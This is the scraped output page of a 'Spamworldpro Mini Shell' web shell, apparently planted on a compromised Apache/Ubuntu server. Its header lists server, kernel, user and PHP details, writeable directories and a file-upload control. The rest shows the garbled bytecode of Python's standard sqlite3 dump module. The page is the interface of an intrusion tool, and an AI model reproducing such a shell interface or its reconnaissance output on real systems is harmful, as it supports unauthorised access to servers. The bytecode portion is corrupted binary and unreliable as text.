Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3.10/sqlite3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.10/sqlite3/__pycache__/dump.cpython-310.pyc
o

�*�g��@sdd�ZdS)ccsJ�|��}dVd}|�|�}g}|��D]h\}}}|dkr2|�d���}dg}|dd�|D�7}q|dkr:d	Vn|�d
�r@qd�|�V|�dd
�}	|�d�|	��}
dd�|
��D�}d�|	d�dd�|D���}|�|�}|D]
}
d�|
d�Vqrqd}|�|�}|��D]\}}}d�|�Vq�|D]}
d�|
�Vq�dVdS)a/
    Returns an iterator to the dump of the database in an SQL text format.

    Used to produce an SQL dump of the database.  Useful to save an in-memory
    database for later restoration.  This function should not be called
    directly but instead called from the Connection method, iterdump().
    zBEGIN TRANSACTION;z�
        SELECT "name", "type", "sql"
        FROM "sqlite_master"
            WHERE "sql" NOT NULL AND
            "type" == 'table'
            ORDER BY "name"
        �sqlite_sequencez SELECT * FROM "sqlite_sequence";zDELETE FROM "sqlite_sequence"cSs&g|]}d|d�d|d�d��qS)z&INSERT INTO "sqlite_sequence" VALUES('�z',��)�)�.0�rowrr�#/usr/lib/python3.10/sqlite3/dump.py�
<listcomp>$s��z_iterdump.<locals>.<listcomp>�sqlite_stat1zANALYZE "sqlite_master";�sqlite_z{0};�"�""zPRAGMA table_info("{0}")cSsg|]}t|d��qS)r)�str)r�
table_inforrrr	:sz2SELECT 'INSERT INTO "{0}" VALUES({1})' FROM "{0}";�,css"�|]}d�|�dd��VqdS)z'||quote("{0}")||'rr
N)�format�replace)r�colrrr�	<genexpr>=s� z_iterdump.<locals>.<genexpr>rz�
        SELECT "name", "type", "sql"
        FROM "sqlite_master"
            WHERE "sql" NOT NULL AND
            "type" IN ('index', 'trigger', 'view')
        zCOMMIT;N)�cursor�execute�fetchall�
startswithrr�join)�
connection�cu�q�
schema_resr�
table_name�type�sql�rows�table_name_ident�res�column_names�	query_resr�namerrr�	_iterdump
sJ�	
�
	�
�

r'N)r'rrrr�<module>s	

Spamworldpro Mini